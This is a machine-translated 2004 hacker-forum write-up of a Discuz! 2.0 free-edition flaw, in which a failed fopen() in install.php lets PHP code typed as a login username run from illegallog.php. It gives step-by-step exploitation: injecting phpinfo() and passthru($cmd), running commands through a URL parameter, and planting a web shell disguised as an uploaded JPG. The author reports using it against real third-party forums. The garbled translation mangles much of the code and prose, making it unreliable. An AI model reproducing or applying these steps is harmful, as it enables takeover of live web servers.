Create time: 2004-09-20
Article attribute: original
Article submission:
Jamba1aya (alpha_echo3_at_yahoo.com.cn)
Ding Ding is solved "D", there is more
------ Discuz! Free Edition Safety Analysis
Author: [I.T.S] Jambalaya
forum:
Www.itaq.org
Foreword: I remember the first time I saw the analyst, he asked me what I was reading recently. I told him that I was going to read the code of the Lei Forum. He said with a smile: "What is the kind of thing loopholes, what? Go to DISCUZ! Let's say safety, this is a little challenging. " After reading a few days, I feel that it is really a hard bone. Later, there were a lot, slowly forgetting.
Not long ago, my friend and I said half joke: "If you can find Discuz's vulnerability, I will ask you to eat sheep. If you can't find you, please ask me." (Note: Sheep is our nearby A restaurant's specialties), friends proposed that the vulnerability must be available when PHP default mameric_qoute_GPC is ON, and within a week of last week. I was just thinking about sheep, and the hamma slammed the down, so I didn't think I didn't want to agree on it. ...
So the story will start this ...
First, the vulnerability involves the version
Discuz! 2.0 free version (commercial version is not got). 1.01 and the following vulnerabilities may be different, but the vulnerability still exists.
Second, vulnerability analysis
Since install.php procedural writing error, causing malicious user constructing statements to write to WebShell, and control the entire server.
In the first few nights, put the front file, as long as it is a variable in the database call to see it. See if there is a place where you have not filtered. After reading it, it feels a lot of missing places that are not strict, but it has been protected by single quotes. In PHP, if the Magic_Qoute_GPC = On (default) The compiler will automatically use a single quotes such as a special character escape, and this time we want to change the execution process of the program is very difficult. This greatly increases the difficulty of intrusion, to some extent, it also guarantees its safety. This is also a requirement that friends can still be used when Magic_Qoute_GPC is ON. If you need a single quotation to intervene, you can use the vulnerability, in the Discuz! Forum, basically nothing.
After reading a database in all files, you didn't find anything worthless. At this time, I started a little chaotic. I hesitated whether I should try to take a look at the programmer's thinking logic vulnerability. This means that I have to read all the code, find the programmer to consider nothing when writing the program Place, most of this vulnerability is a context logical relationship error, or is unique, and there are some things that should be noted, but the administrator is ignored.
Thinking of this, it seems that there is nothing to be lazy, you can only read the code. Because since the goal is a logical error, you must see the relationship between the context, so choose from the entry point to read. The entry point should be logging.php, because this is where landing is logged in, and everyone will log in to the forum here. let's go!
Old rules, let's first see a code:
========= CODZ begin ===========
50 $ errorlog = "$ usrname / t" .substr ($ Password, 0, 2); ......
54 $ ERRORLOG. = Substr ($ Password, -1). "/ T $ onlineIP / t $ timestamp / n";
55 $ Password = MD5 ($ Password);
56 $ query = $ db-> query ("SELECT M.USERNAME AS Discuz_user, M.Password As Discuz_User, M.Status, M.Styleid As StyleidMem, M.lastvisit, U.GroupID, U.isadmin, u.SpecifiedUsers Like '% / t $ usrname / t%' As specifieduser
From $ TABLE_MEMBERS M LEFT JOIN $ TABLE_USERGROUPS U on u.specifiedusers like '% / t $ usrname / t%' or (u.credits = m.status and u.creditsLower = '0' and u.creditslower = '0 'And u.specifiedusers =' ') or (m.credit> = u.creditshigher and m.credit Where username = '$ usrname' and password = '$ password' Order by Specifieduser Desc "); ...... 69 if (! $ Discuz_user) { 70 @ $ fp = fopen ($ Discuz_Root. '. / Forumdata / Illegallog.php', 'A'); 71 @flock ($ fp, 3); 72 @fwrite ($ FP, $ ErrorLog); 73 @fclose ($ fp); 74 ShowMessage ('login_invalid'); "index.php '); } ========= CODZ endz ============== This code let us have a sentence to see, he first record the input username and password, the password is only the first two, then take a password one, and give IP and time. Then go to the password MD5 value, put it in the database. If you think we can change the operation of the database to execute the statement, it is wrong. In the face of single quotes, we don't do anything (at least I can't do anything, unless encrypted). Later, if the username and password are not pairs, the recording is incorrect to the username and password into ILLEGALLOG.PHP. During this record error password, the variable has not been verified, that is, if I entered the wrong username, he will not check it directly. Then if my wrong user name is an executable code, he will also record. After he recorded it, we went to call this file to form a shell. Are you already excited here? Sorry, your excitement is invalid. I am very excited, because I read the first time in front of me, I have paid special attention to the operation of the document handle. He did not filter the individual variables, but he was initialized in install.php, A sentence has been added to the place where the .php ended data file is added: Php exit ("access denied");?>. This is written when it is initialized, and we should understand the role of this sentence. You can't call what you write, because it is over. This is obviously unable to succeed. I am a little annoying, is it not a 5 sheep? Loss will lose! A gamble dropped down the code, ran to the house, squatting, squatting, playing, trouble, trouble is one of my favorite things), I repeatedly curse Discuz in front of you. Abnormal, how do I have a serious reading code? I don't know what I am talking, I don't care about me, continue to watch my TV. After a while, I should have a sentence: "Your child, you are caught, you can't make your heart, you see what code you have this code (it is estimated to say the code) is broken." I smiled and climbed back my house. Sitting in front of the computer, drinking a cup of white boiling water, calm down. It is very necessary to do safe, perseverance, self-study, and good at summary. Go back and read the logging.php file to see if there is anything you ignore. The document is not long, and it seems that it is still nothing wrong with it. Since there is no problem here, the idea is put in the sentence PHP EXIT ("Access Denied");?> How is this sentence written? So I flipped this code in install.php: ========== CODZ begin =================================================================================================================================== 29 Function Loginit ($ log) { 30 Echo 'Initialization Record'. $ Log; 31 $ fp = @fopen ('./ forumData / IllegalLog.php'); 32 @fwrite ($ fp, " Php exit (/" access deniaction / ");?> / N"); 33 @fclose ($ fp); 34 fruit (); 35} ...... 1389 Loginit ('Karmalog'); 1390 loginit ('Illegallall'); 1391 Loginit ('MODSLOG'); 1392 loginit ('CPLOG'); 1393 DIR_CLEAR ('./ forumdata / templates'); 1394 Dir_clear ('./ forumdata / cache'); ========== CODZ endz ======================================================================================================================================================================================================= Obviously, the loginit is written in PHP EXIT ("Access Denied") in ILLEGALLOG.PHP;?> This sentence. This way we will not call the code because of the existence of that sentence. We have already entered a dead end. But I don't seem to think that there is some problems with this code, then look at it carefully, and that fopen looks like this is not pleasing. If there is no mistake, Fopen's syntax format should be like this: resource fopen (string filename, string mode [, int us_include_path [, resource zcontext]) The front two parameters, one is the file handle, or specify which file is opened. The second parameter is the way to specify open, such as reading or writing. It is necessary to remind everyone that this two parameters are required. For example, we write jambalaya.php under the directory, our statement is written: fopen ('./ jambalya.php', 'w'), which will be selected later, otherwise it will be reported. But we noticed that there is only one parameter in his code, how can this program be executed correctly? Let's do a test, create a 1.PHP, write the following code: =========== CODZ begin ========== $ fp = @fopen ('./ 2.php'); @fwrite ($ fp, " php exit (/" access deniaction / ");?> / n"); @fclose ($ fp); Echo "Success!"; =========== CODZ endz ============ Here is the same environment in discuz! If this program is executed, it will generate a 2.PHP in the root directory, and the beginning of the 2.? PHP EXIT ("Access Denied") And on the screen, Success is displayed, in fact, Success here is used to let us know the location you have gone. We submit them in the URL: http://127.0.0.1/myhome/1.php, the Success is displayed on the screen, which means that the tail of the program has been performed. But when checking the catalog, I found that there is no file named 2.PHP, that is, we write failed. Maybe everyone will be strange, write failure should have an error message. It should have it, but because of the fopen, add @, @ in PHP is used to suppress all call functions generated. In other words, even if it is wrong, it will not report an error. I am not wrong, I am too careless! Suppose everything goes through my thoughts, just say when installing initialization, because the Fopen's error is used, so will never produce Php exit ("Access Denied" in the discuz / forumdata directory. (>> The iLlegallog.php file of the code, but because the error message is suppressed, the initialization is still displayed, but it is not initialized, and ILLEGALLOG.PHP is not generated. And if there is no initialization here, it means that the generation and initialization of ILLEGALLOG.PHP will be completed in logging.php. Logging.php Initialization does not write any protection statements or filtration to avoid user calls. Here, everything is clear. Speaking straight, that is, because of the initialization of install.php files, we can write malicious code through logging.php, then call that file to generate a shell to control the entire website. Third, use method Don't register any account, go to the landing page, first entered Phpinfo () in the place where the username is logged in; (note that there is a semicolon), then enter the password to enter?> 123456, Enter. Here, everyone may understand that the front two in front of the password is displayed, so that ILLEGALLOG.PHP is saved is: phpinfo ();?> ***** 6 127.0.0.1 1022383175 This can check the settings of PHP, let's take a look at whether register_globals is ON. (Most of the websites are ON), then we entered Passthru ($ cmd) in the landing port;> Disabled. Then we call Http://192.168.0.13/forumdata/illegallog.php?cmd=dir A pile of spam came from front, is it possible to see the directory in the bottom? But this is a bit trouble, because in the experiment, there are more than 100,000 users registered users, then this document will be surprising, and the speed is very slow. Then we can actually write this like this, "$ A, $ b);?>, We change the PHP's shell into a picture in the JPG format, upload to the host. Adjust in the URL: Http://192.168.0.13/forumdata/illegallog.p...chments/jam.php Then we submit the URL directly: http://192.168.0.13/attachments/jam.php? ... a shell! Perhaps someone asked me, why not enter a shell directly at the username, why do you want to enter "?>" in the username and password. In fact, I have thought about this, and I will enter this machine directly in the user name. Also succeeded, but when testing on other websites, I found that as long as I entered ?> will be filtered out, I don't know if it is a version. (I originally wanted to pull someone else's compassion, and I didn't get lazy, everyone is interested in testing) So if the register_globals is not OFF? The answer is negative, here is a little thinking about everyone. I think I am, oh. Give everyone a little prompted: We don't have to write, by constructing your own statement to bypass the restriction, implement other functions to write a complete shell. By the way, the free version of the 1.01 version will be different. This vulnerability will be different. The so-called difference is the change of the file name, and it is not explained here. After all, you can only learn more after you personally do your hands. We see that any details of any details will lead to the defense of the gold soup. "Thousands of miles of embankment, collapsed in the ant hole" is not a word! The whole article is over here. Here to add something, when you start, I found that this vulnerability just wants to put it into ITAQ.org's hidden version of IT security, I haven't thought of publication. Not because of my small gas, mainly I discover a lot of commercial version when I was testing, this vulnerability couldn't take, all correct initialization, I thought it was a problem with the version I got, I didn't intend to write it. Until, some of the friends in some hackips let me help test a few discuz! Forum, they tell me their discuz! Forum is the free version downloaded from the Internet, I use this vulnerability to easily go in and take it. At the permissions. After that, I tested a large number of free versions of Discuz! Website, I found that this vulnerability can be used to attack the free version of Discuz! And online free version of the user is not a few. And once success is a vulnerability that can be controlled throughout the server. Insufficient in the US is only to attack the free version. So I decided to write it to everyone. The text is rushing, the technical is limited, if there is a mistake, he is hoped Www.iraq.org enlightened